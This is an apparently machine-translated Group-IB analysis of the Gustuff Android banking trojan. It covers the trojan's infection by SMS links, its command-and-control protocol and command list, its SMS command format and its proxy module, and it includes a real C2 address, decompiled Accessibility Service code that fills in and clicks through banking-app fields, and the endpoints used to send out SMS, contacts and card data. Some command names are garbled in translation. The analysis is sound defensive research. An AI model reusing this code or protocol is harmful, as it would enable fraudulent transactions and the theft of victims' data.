Kako Android Trojan Gustuff posname smetano (fiat in kripto) z vaših računov

Kako Android Trojan Gustuff posname smetano (fiat in kripto) z vaših računov

Ravno pred dnevi Group-IB poročali o dejavnosti mobilnega Android trojanca Gustuff. Deluje izključno na mednarodnih trgih in napada stranke 100 največjih tujih bank, uporabnike mobilnih 32 kripto denarnic, pa tudi velike vire e-trgovine. Toda razvijalec Gustuffa je rusko govoreči kiberkriminalec pod vzdevkom Bestoffer. Do nedavnega je svojega Trojana hvalil kot »resen izdelek za ljudi z znanjem in izkušnjami«.

Specialist za analizo zlonamerne kode pri Group-IB Ivan Pisarev v svoji raziskavi podrobno govori o delovanju Gustuffa in kakšne so njegove nevarnosti.

Na koga lovi Gustuff?

Gustuff spada v novo generacijo zlonamerne programske opreme s popolnoma avtomatiziranimi funkcijami. Po besedah ​​razvijalca je trojanec postal nova in izboljšana različica zlonamerne programske opreme AndyBot, ki od novembra 2017 napada telefone Android in krade denar prek spletnih obrazcev za lažno predstavljanje, ki se predstavljajo kot mobilne aplikacije znanih mednarodnih bank in plačilnih sistemov. Bestoffer je poročal, da je bila cena najema Gustuff Bot 800 USD na mesec.

Analiza vzorca Gustuff je pokazala, da trojanec potencialno cilja na stranke, ki uporabljajo mobilne aplikacije največjih bank, kot so Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, pa tudi kripto denarnice. Bitcoin denarnica, BitPay, Cryptopay, Coinbase itd.

Prvotno ustvarjen kot klasični bančni trojanec, je Gustuff v trenutni različici bistveno razširil seznam potencialnih tarč za napad. Poleg Android aplikacij za banke, fintech podjetja in kripto storitve je Gustuff namenjen uporabnikom tržnih aplikacij, spletnih trgovin, plačilnih sistemov in hitrih sporočil. Zlasti PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut in drugi.

Vstopna točka: izračun za množično okužbo

Za Gustuff je značilen »klasični« vektor prodora v pametne telefone Android prek SMS sporočil s povezavami do APK-jev. Ko je naprava Android okužena s trojancem na ukaz strežnika, se lahko Gustuff naprej širi prek baze kontaktov okuženega telefona ali prek baze podatkov strežnika. Funkcionalnost Gustuffa je zasnovana za množično okužbo in maksimalno kapitalizacijo poslovanja njegovih operaterjev - ima edinstveno funkcijo "samodejnega polnjenja" v zakonite mobilne bančne aplikacije in kripto denarnice, ki vam omogoča, da pospešite in povečate krajo denarja.

Študija trojanca je pokazala, da je bila funkcija samodejnega izpolnjevanja v njem implementirana s pomočjo Accessibility Service, storitve za osebe s posebnimi potrebami. Gustuff ni prvi trojanec, ki je uspešno zaobšel zaščito pred interakcijo z okenskimi elementi drugih aplikacij, ki uporabljajo to storitev Android. Vendar pa je uporaba Accessibility Service v kombinaciji s polnilnikom avtomobilov še vedno precej redka.

Po prenosu v telefon žrtve lahko Gustuff z uporabo storitve dostopnosti komunicira z okenskimi elementi drugih aplikacij (bančništvo, kriptovalute, pa tudi aplikacije za spletno nakupovanje, sporočanje itd.) in izvaja dejanja, ki so potrebna za napadalce. . Na primer, na ukaz strežnika lahko trojanec pritisne gumbe in spremeni vrednosti besedilnih polj v bančnih aplikacijah. Uporaba mehanizma Accessibility Service omogoča trojancu, da zaobide varnostne mehanizme, ki jih uporabljajo banke za boj proti mobilnim trojancem prejšnje generacije, kot tudi spremembe v varnostni politiki, ki jo izvaja Google v novih različicah operacijskega sistema Android. Tako Gustuff "ve, kako" onemogočiti zaščito Google Protect: po mnenju avtorja ta funkcija deluje v 70% primerov.

Kako Android Trojan Gustuff posname smetano (fiat in kripto) z vaših računov

Gustuff lahko prikaže tudi lažna PUSH obvestila z ikonami zakonitih mobilnih aplikacij. Uporabnik klikne na PUSH obvestilo in vidi phishing okno, preneseno s strežnika, kjer vnese zahtevane podatke bančne kartice ali kripto denarnice. V drugem scenariju Gustuff se odpre aplikacija, v imenu katere je bilo prikazano PUSH obvestilo. V tem primeru lahko zlonamerna programska oprema po ukazu s strežnika prek storitve dostopnosti izpolni polja obrazca bančne aplikacije za goljufivo transakcijo.

Funkcionalnost Gustuffa vključuje tudi pošiljanje informacij o okuženi napravi strežniku, možnost branja/pošiljanja sporočil SMS, pošiljanje zahtev USSD, zagon proxyja SOCKS5, sledenje povezavi, pošiljanje datotek (vključno s skeniranimi fotografijami dokumentov, posnetki zaslona, ​​fotografijami) na strežnik, ponastavite napravo na tovarniške nastavitve.

Analiza zlonamerne programske opreme

Pred namestitvijo zlonamerne aplikacije OS Android uporabniku prikaže okno s seznamom pravic, ki jih zahteva Gustuff:

Kako Android Trojan Gustuff posname smetano (fiat in kripto) z vaših računov
Namestitev aplikacije bo izvedena šele po pridobitvi soglasja uporabnika. Po zagonu aplikacije trojanec uporabniku prikaže okno:

Kako Android Trojan Gustuff posname smetano (fiat in kripto) z vaših računov
Po tem bo odstranil svojo ikono.

Gustuff po besedah ​​avtorja pakira embaler iz FTT. Po zagonu se aplikacija občasno poveže s strežnikom CnC, da prejme ukaze. Več datotek, ki smo jih pregledali, je kot nadzorni strežnik uporabljalo naslov IP 88.99.171[.]105 (v nadaljevanju ga bomo označili kot <%CnC%>).

Po zagonu program začne pošiljati sporočila strežniku http://<%CnC%>/api/v1/get.php.

Pričakuje se, da bo odgovor JSON v naslednji obliki:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Ob vsakem dostopu do aplikacije ta pošlje podatke o okuženi napravi. Oblika sporočila je prikazana spodaj. Omeniti velja, da polja polno, dodatna, aplikacije и Dovoljenje – neobvezno in bo poslano samo v primeru ukaza zahteve iz CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Shranjevanje konfiguracijskih podatkov

Gustuff shranjuje operativno pomembne informacije v prednostni datoteki. Ime datoteke, kot tudi imena parametrov v njej, so rezultat izračuna vsote MD5 iz niza 15413090667214.6.1<%ime%>Če <%name%> — začetno ime-vrednost. Pythonova interpretacija funkcije generiranja imen:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

V nadaljevanju ga bomo označili kot nameGenerator(vnos).
Prvo ime datoteke je torej: nameGenerator("API_SERVER_LIST"), vsebuje vrednosti z naslednjimi imeni:

Ime spremenljivke Vrednost
nameGenerator("API_SERVER_LIST") Vsebuje seznam naslovov CnC v obliki polja.
nameGenerator("API_SERVER_URL") Vsebuje naslov CNC.
nameGenerator("SMS_UPLOAD") Zastavica je privzeto nastavljena. Če je zastavica nastavljena, pošilja SMS sporočila v CnC.
nameGenerator("SMS_ROOT_NUMBER") Telefonska številka, na katero bodo poslana SMS sporočila, ki jih prejme okužena naprava. Privzeto je nič.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Zastavica je privzeto izbrisana. Če je nameščen, bo okužena naprava, ko prejme SMS, poslana na korensko številko.
nameGenerator("DEFAULT_APP_SMS") Zastavica je privzeto izbrisana. Če je ta zastavica nastavljena, bo aplikacija obdelala dohodna sporočila SMS.
nameGenerator("DEFAULT_ADMIN") Zastavica je privzeto izbrisana. Če je zastavica nastavljena, ima aplikacija skrbniške pravice.
nameGenerator("DEFAULT_ACCESSIBILITY") Zastavica je privzeto izbrisana. Če je zastavica nastavljena, se izvaja storitev, ki uporablja storitev dostopnosti.
nameGenerator("APPS_CONFIG") Objekt JSON, ki vsebuje seznam dejanj, ki jih je treba izvesti, ko se sproži dogodek dostopnosti, povezan z določeno aplikacijo.
nameGenerator("APPS_INSTALLED") Shrani seznam aplikacij, nameščenih v napravi.
nameGenerator("IS_FIST_RUN") Zastavica se ponastavi ob prvem zagonu.
nameGenerator("UNIQUE_ID") Vsebuje edinstven identifikator. Ustvari se ob prvem zagonu bota.

Modul za obdelavo ukazov s strežnika

Aplikacija shranjuje naslove CnC strežnikov v obliki polja, kodiranega z Baza85 vrstice. Seznam CnC strežnikov lahko spremenite po prejemu ustreznega ukaza, v tem primeru bodo naslovi shranjeni v prednostni datoteki.

Kot odgovor na zahtevo strežnik pošlje aplikaciji ukaz. Omeniti velja, da so ukazi in parametri predstavljeni v formatu JSON. Aplikacija lahko obdela naslednje ukaze:

Ekipa Opis
forwardStart Začnite pošiljati sporočila SMS, ki jih prejme okužena naprava, na strežnik CnC.
naprejStop Prenehajte pošiljati sporočila SMS, ki jih prejme okužena naprava, na strežnik CnC.
ussdRun Izvedite zahtevo USSD. Številka, na katero morate poslati zahtevo USSD, se nahaja v polju JSON »številka«.
pošlji SMS Pošljite eno SMS sporočilo (po potrebi se sporočilo “razdeli” na dele). Kot parameter ukaz sprejme objekt JSON, ki vsebuje polji »to« - ciljna številka in »body« - telo sporočila.
sendSmsAb Pošiljanje SMS sporočil (če je potrebno, se sporočilo »razdeli« na dele) vsem na seznamu stikov okužene naprave. Interval med pošiljanjem sporočil je 10 sekund. Telo sporočila je v polju JSON "telo"
sendSmsMass Pošljite SMS sporočila (če je potrebno, sporočilo "razdelite" na dele) kontaktom, ki so navedeni v parametrih ukaza. Interval med pošiljanjem sporočil je 10 sekund. Kot parameter ukaz vzame matriko JSON (polje »sms«), katere elementi vsebujejo polji »to« - ciljna številka in »body« - telo sporočila.
changeServer Ta ukaz lahko vzame vrednost s ključem "url" kot parameter - nato bo bot spremenil vrednost nameGenerator("SERVER_URL") ali "array" - nato bo bot zapisal matriko v nameGenerator ("API_SERVER_LIST") Tako aplikacija spremeni naslov CnC strežnikov.
adminNumber Ukaz je zasnovan za delo s korensko številko. Ukaz sprejme objekt JSON z naslednjimi parametri: “number” — spremeni nameGenerator(“ROOT_NUMBER”) na prejeto vrednost, “resend” — spremeni nameGenerator(“SMS_ROOT_NUMBER_RESEND”), “sendId” — pošlje nameGenerator(“ROOT_NUMBER” ) edinstvenID.
updateInfo Pošljite informacije o okuženi napravi na strežnik.
brisanje podatkov Ukaz je namenjen brisanju uporabniških podatkov. Odvisno od tega, pod katerim imenom je bila aplikacija zagnana, se podatki popolnoma izbrišejo ob ponovnem zagonu naprave (primarni uporabnik) ali pa se izbrišejo samo uporabniški podatki (sekundarni uporabnik).
nogaviceZačetek Zaženite modul Proxy. Delovanje modula je opisano v posebnem razdelku.
nogaviceStop Zaustavite modul proxy.
openLink Sledite povezavi. Povezava se nahaja v parametru JSON pod ključem “url”. »android.intent.action.VIEW« se uporablja za odpiranje povezave.
uploadAllSms Pošlji vsa sporočila SMS, ki jih prejme naprava, na strežnik.
uploadAllPhotos Pošlji slike iz okužene naprave na URL. URL pride kot parameter.
naloži datoteko Pošljite datoteko na URL iz okužene naprave. URL pride kot parameter.
uploadPhoneNumbers Pošljite telefonske številke s seznama stikov na strežnik. Če kot parameter prejmete vrednost objekta JSON s ključem »ab«, aplikacija prejme seznam stikov iz telefonskega imenika. Če kot parameter prejme objekt JSON s ključem “sms”, aplikacija prebere seznam kontaktov od pošiljateljev SMS sporočil.
changeArchive Aplikacija prenese datoteko z naslova, ki je priložen kot parameter s ključem “url”. Prenesena datoteka se shrani z imenom »archive.zip«. Aplikacija bo nato razpakirala datoteko, po želji z geslom za arhiv “b5jXh37gxgHBrZhQ4j3D”. Razpakirane datoteke so shranjene v imeniku [zunanji pomnilnik]/hgps. V tem imeniku aplikacija shranjuje spletne ponaredke (opisano spodaj).
dejavnosti Ukaz je zasnovan tako, da deluje s storitvijo Action Service, ki je opisana v ločenem razdelku.
Test Početi nič.
prenesi Ukaz je namenjen prenosu datoteke z oddaljenega strežnika in shranjevanju v imenik »Prenosi«. URL in ime datoteke prideta kot parameter, polja v objektu parametra JSON: »url« in »fileName«.
odstrani Odstrani datoteko iz imenika »Prenosi«. Ime datoteke je v parametru JSON s ključem »fileName«. Standardno ime datoteke je »tmp.apk«.
Obvestilo Pokažite obvestilo z besedilom opisa in naslova, ki ga določi strežnik za upravljanje.

Oblika ukaza Obvestilo:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Obvestilo, ki ga ustvari datoteka v preiskavi, je videti enako obvestilom, ki jih ustvari aplikacija, navedena v polju aplikacija. Če vrednost polja openApp — Res je, ko se odpre obvestilo, se zažene aplikacija, navedena v polju aplikacija. Če vrednost polja openApp — Napačno, torej:

  • Odpre se okno za lažno predstavljanje, katerega vsebina se prenese iz imenika <%zunanji pomnilnik%>/hgps/<%ime datoteke%>
  • Odpre se okno za lažno predstavljanje, katerega vsebina se prenese s strežnika <%url%>?id=<%Bot id%>&app=<%Ime aplikacije%>
  • Odpre se okno za lažno predstavljanje, prikrito kot kartica Google Play, z možnostjo vnosa podatkov o kartici.

Aplikacija pošlje rezultat katerega koli ukaza na <%CnC%>set_state.php kot objekt JSON v naslednji obliki:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Seznam ukazov, ki jih procesi aplikacije vključujejo ukrepanje. Ko je ukaz prejet, modul za obdelavo ukazov dostopa do te storitve za izvedbo razširjenega ukaza. Storitev sprejme objekt JSON kot parameter. Storitev lahko izvaja naslednje ukaze:

1. PARAMS_ACTION — storitev ob prejemu takega ukaza iz parametra JSON najprej prejme vrednost ključa Type, ki je lahko naslednja:

  • serviceInfo – podukaz pridobi vrednost po ključu iz parametra JSON includeNotImportant. Če je zastavica True, aplikacija nastavi zastavico FLAG_ISOLATED_PROCESS v storitev, ki uporablja storitev dostopnosti. Tako bo storitev zagnana v ločenem procesu.
  • koren — prejemanje in pošiljanje strežniku informacij o oknu, ki je trenutno v fokusu. Aplikacija pridobiva informacije z uporabo razreda AccessibilityNodeInfo.
  • admin — zahteva skrbniške pravice.
  • zamuda — začasno ustavite ActionsService za toliko milisekund, kot je določeno v parametru za ključ »data«.
  • okna — pošiljanje seznama oken, ki so vidna uporabniku.
  • namestitev — namestite aplikacijo na okuženo napravo. Ime arhivskega paketa je v ključu “fileName”. Sam arhiv se nahaja v imeniku Prenosi.
  • globalna – podukaz je namenjen krmarjenju iz trenutnega okna:
    • v meniju Hitre nastavitve
    • nazaj
    • domov
    • na obvestila
    • v okno nedavno odprtih aplikacij

  • kosilo - zaženite aplikacijo. Ime aplikacije pride kot parameter po ključu datum.
  • zvoki — spremenite način zvoka v tišino.
  • odklepanje — vklopi osvetlitev ozadja zaslona in tipkovnice na polno svetlost. Aplikacija izvede to dejanje s funkcijo WakeLock, pri čemer poda niz [oznaka aplikacije]:INFO kot oznako
  • permissionOverlay — funkcija ni implementirana (odgovor na izvajanje ukaza je {"message":"Not support"} ali {"message":"low sdk"})
  • gesta — funkcija ni implementirana (odgovor na izvajanje ukaza je {"message":"Not support"} ali {"message":"Low API"})
  • Dovoljenja — ta ukaz je potreben za zahtevo po dovoljenjih za aplikacijo. Vendar funkcija poizvedbe ni implementirana, zato je ukaz brez pomena. Seznam zahtevanih pravic je v obliki polja JSON s ključem »dovoljenja«. Standardni seznam:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • odprite — prikaže okno za lažno predstavljanje. Odvisno od parametra, ki prihaja s strežnika, lahko aplikacija prikaže naslednja okna lažnega predstavljanja:
    • Prikaži okno z lažnim predstavljanjem, katerega vsebina je zapisana v datoteki v imeniku <%zunanji imenik%>/hgps/<%param_filename%>. Rezultat interakcije uporabnika z oknom bo poslan na <%CnC%>/records.php
    • Prikaži okno z lažnim predstavljanjem, katerega vsebina je vnaprej naložena z naslova <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Rezultat interakcije uporabnika z oknom bo poslan na <%CnC%>/records.php
    • Pokaži okno za lažno predstavljanje, prikrito kot kartica Google Play.

  • interaktivno — ukaz je zasnovan za interakcijo z okenskimi elementi drugih aplikacij, ki uporabljajo AcessibilityService. V programu je implementirana posebna storitev za interakcijo. Aplikacija, ki jo preiskujemo, lahko komunicira z okni:
    • Trenutno aktiven. V tem primeru parameter vsebuje ID ali besedilo (ime) predmeta, s katerim morate komunicirati.
    • Vidno uporabniku v času izvajanja ukaza. Aplikacija izbira okna po ID-ju.

    Ob prejemu predmetov AccessibilityNodeInfo Za zanimive okenske elemente lahko aplikacija glede na parametre izvede naslednja dejanja:

    • fokus — nastavite fokus na predmet.
    • klik — klik na predmet.
    • actionId — izvedite dejanje z ID-jem.
    • setText — spremenite besedilo predmeta. Spreminjanje besedila je možno na dva načina: izvedite dejanje ACTION_SET_TEXT (če je različica Androida okužene naprave mlajša od ali enaka LIZIKA) ali tako, da postavite niz v odložišče in ga prilepite v predmet (za starejše različice). Ta ukaz lahko uporabite za spreminjanje podatkov v bančni aplikaciji.

2. PARAMS_ACTIONS - enako kot PARAMS_ACTION, prispe le niz ukazov JSON.

Zdi se, da bo marsikoga zanimalo, kako izgleda funkcija interakcije z okenskimi elementi druge aplikacije. Tako je ta funkcija implementirana v Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Funkcija zamenjave besedila:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Tako lahko Gustuff s pravilno konfiguracijo nadzornega strežnika izpolni besedilna polja v bančni aplikaciji in klikne na gumbe, potrebne za dokončanje transakcije. Trojancu se sploh ni treba prijaviti v aplikacijo – dovolj je poslati ukaz za prikaz PUSH obvestila in nato odpreti predhodno nameščeno bančno aplikacijo. Uporabnik se bo avtentifikiral, nato pa bo Gustuff lahko napolnil avto.

Modul za obdelavo SMS sporočil

Aplikacija namesti obravnavo dogodkov za okuženo napravo za sprejemanje sporočil SMS. Aplikacija, ki jo preučujemo, lahko od operaterja prejema ukaze, ki prihajajo v telesu sporočila SMS. Ukazi so v formatu:

7!5=<%Base64 kodiran ukaz%>

Aplikacija išče niz v vseh dohodnih SMS sporočilih 7!5=, ko je zaznan niz, dekodira niz iz Base64 pri odmiku 4 in izvede ukaz. Ukazi so podobni tistim pri CnC. Rezultat izvedbe se pošlje na isto številko, s katere je prišel ukaz. Oblika odgovora:

7*5=<%Base64 kodiranje “result_code command”%>

Opcijsko lahko aplikacija pošlje vsa prejeta sporočila na korensko številko. Če želite to narediti, mora biti korenska številka podana v prednostni datoteki in nastavljena mora biti zastavica za preusmeritev sporočila. Na napadalčevo številko se pošlje SMS sporočilo v obliki:

<%Od števila%> - <%Čas, oblika: dd/MM/llll HH:mm:ss%> <%telo SMS%>

Poleg tega lahko aplikacija pošilja sporočila v CnC. SMS sporočilo je poslano na strežnik v formatu JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Če je zastavica nastavljena nameGenerator("DEFAULT_APP_SMS") – aplikacija preneha z obdelavo SMS sporočila in počisti seznam dohodnih sporočil.

Proxy modul

Proučevana aplikacija vsebuje modul Backconnect Proxy (v nadaljevanju modul Proxy), ki ima ločen razred, ki vključuje statična polja s konfiguracijo. Konfiguracijski podatki so shranjeni v vzorcu v jasni obliki:

Kako Android Trojan Gustuff posname smetano (fiat in kripto) z vaših računov

Vsa dejanja, ki jih izvede modul Proxy, so zapisana v datoteke. Za to aplikacija v zunanjem pomnilniku ustvari imenik, imenovan »dnevniki« (polje ProxyConfigClass.logsDir v konfiguracijskem razredu), v katerem so shranjene datoteke dnevnika. Beleženje poteka v datotekah z imeni:

  1. main.txt – delo razreda, imenovanega CommandServer, je prijavljeno v to datoteko. V nadaljevanju bo beleženje niza str v to datoteko označeno kot mainLog(str).
  2. seja-<%id%>.txt — ta datoteka shranjuje podatke dnevnika, povezane z določeno sejo posrednika. V nadaljevanju bo beleženje niza str v to datoteko označeno kot sessionLog (str).
  3. server.txt – ta datoteka se uporablja za beleženje vseh podatkov, zapisanih v zgoraj opisane datoteke.

Oblika podatkov dnevnika:

<%Datum%> [Nit[<%thread id%>], id[]]: niz dnevnika

V datoteko se zabeležijo tudi izjeme, ki se pojavijo med delovanjem modula Proxy. Za to aplikacija ustvari objekt JSON v naslednji obliki:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Nato ga pretvori v predstavitev niza in zabeleži.

Modul Proxy se zažene po prejemu ustreznega ukaza. Ko je prejet ukaz za zagon modula Proxy, aplikacija zažene poklicano storitev MainService, ki skrbi za upravljanje delovanja modula Proxy – zagon in zaustavitev.

Faze zagona storitve:

1. Zažene časovnik, ki teče enkrat na minuto in preverja aktivnost modula Proxy. Če modul ni aktiven, ga zažene.
Tudi ob sprožitvi dogodka android.net.conn.CONNECTIVITY_CHANGE Zažene se modul Proxy.

2. Aplikacija ustvari wake-lock s parametrom PARTIAL_WAKE_LOCK in ga ujame. To prepreči, da bi CPE naprave prešel v način mirovanja.

3. Zažene razred za obdelavo ukazov modula Proxy, pri čemer najprej zabeleži vrstico mainLog("zagonski strežnik") и

Server::start() gostitelj[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

če proxy_cnc, command_port in proxy_port – parametri, pridobljeni iz konfiguracije strežnika proxy.

Pokliče se razred za obdelavo ukazov CommandConnection. Takoj po zagonu izvede naslednja dejanja:

4. Povezuje se z ProxyConfigClass.host: ProxyConfigClass.commandPort in tja pošlje podatke o okuženi napravi v formatu JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Kje:

  • id – identifikator, poskuša pridobiti vrednost s poljem »id« iz datoteke skupnih nastavitev z imenom »x«. Če te vrednosti ni bilo mogoče pridobiti, ustvari novo. Tako ima modul Proxy svoj identifikator, ki se generira podobno kot ID bota.
  • imei — IMEI naprave. Če je med postopkom pridobivanja vrednosti prišlo do napake, bo namesto tega polja izpisano besedilno sporočilo o napaki.
  • imsi — Mednarodna identiteta mobilnega naročnika naprave. Če je med postopkom pridobivanja vrednosti prišlo do napake, bo namesto tega polja izpisano besedilno sporočilo o napaki.
  • model — končnemu uporabniku vidno ime za končni izdelek.
  • proizvajalec — Proizvajalec izdelka/strojne opreme (Build.MANUFACTURER).
  • androidVersion - niz v obliki "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • država — trenutna lokacija naprave.
  • partnerId je prazen niz.
  • packageName – ime paketa.
  • networkType — vrsta trenutne omrežne povezave (primer: “WIFI”, “MOBILE”). V primeru napake vrne nič.
  • hasGsmSupport – true – če telefon podpira GSM, sicer false.
  • simReady – stanje kartice SIM.
  • simCountry - koda države ISO (glede na ponudnika kartice SIM).
  • networkOperator — ime operaterja. Če je med postopkom pridobivanja vrednosti prišlo do napake, bo namesto tega polja izpisano besedilno sporočilo o napaki.
  • simOperator — Ime ponudnika storitev (SPN). Če je med postopkom pridobivanja vrednosti prišlo do napake, bo namesto tega polja izpisano besedilno sporočilo o napaki.
  • različica - to polje je shranjeno v razredu konfiguracije; za testirane različice bota je bilo enako "1.6".

5. Preklopi v način čakanja na ukaze s strežnika. Ukazi s strežnika so v obliki:

  • 0 offset – ukaz
  • 1 odmik – sessionId
  • 2 zamik – dolžina
  • 4 odmik - podatki

Ko prispe ukaz, aplikacija zabeleži:
mainLog("Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }")

Možni so naslednji ukazi s strežnika:

Ime Ukaz datum Opis
ConnectionId 0 ID povezave Ustvari novo povezavo
SLEEP 3 čas Zaustavite modul proxy
NAMIZNI TENIS 4 - Pošlji PONG sporočilo

Sporočilo PONG je sestavljeno iz 4 bajtov in je videti takole: 0x04000000.

Ko je prejet ukaz connectionId (za ustvarjanje nove povezave) CommandConnection ustvari primerek razreda ProxyConnection.

  • Pri proxyju sodelujeta dva razreda: ProxyConnection и konec. Pri ustvarjanju razreda ProxyConnection povezovanje z naslovom ProxyConfigClass.host: ProxyConfigClass.proxyPort in posredovanje objekta JSON:

 {
    "id":<%connectionId%>
}

V odgovor strežnik pošlje sporočilo SOCKS5, ki vsebuje naslov oddaljenega strežnika, s katerim je treba vzpostaviti povezavo. Interakcija s tem strežnikom poteka prek razreda konec. Nastavitev povezave je lahko shematično predstavljena na naslednji način:

Kako Android Trojan Gustuff posname smetano (fiat in kripto) z vaših računov

Omrežne interakcije

Da bi preprečili analizo prometa s strani omrežnih snifferjev, je mogoče interakcijo med strežnikom CnC in aplikacijo zaščititi s protokolom SSL. Vsi posredovani podatki iz in na strežnik so predstavljeni v formatu JSON. Aplikacija med delovanjem izvaja naslednje zahteve:

  • http://<%CnC%>/api/v1/set_state.php — rezultat izvedbe ukaza.
  • http://<%CnC%>/api/v1/get.php — sprejem ukaza.
  • http://<%CnC%>/api/v1/load_sms.php — prenos SMS sporočil z okužene naprave.
  • http://<%CnC%>/api/v1/load_ab.php — nalaganje seznama stikov iz okužene naprave.
  • http://<%CnC%>/api/v1/aevents.php – zahteva je podana pri posodabljanju parametrov, ki se nahajajo v prednostni datoteki.
  • http://<%CnC%>/api/v1/set_card.php — nalaganje podatkov, pridobljenih s pomočjo okna za lažno predstavljanje, ki se predstavlja kot Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – nalaganje dnevniških podatkov.
  • http://<%CnC%>/api/v1/records.php – nalaganje podatkov, pridobljenih prek oken za lažno predstavljanje.
  • http://<%CnC%>/api/v1/set_error.php – obvestilo o nastali napaki.

Priporočila

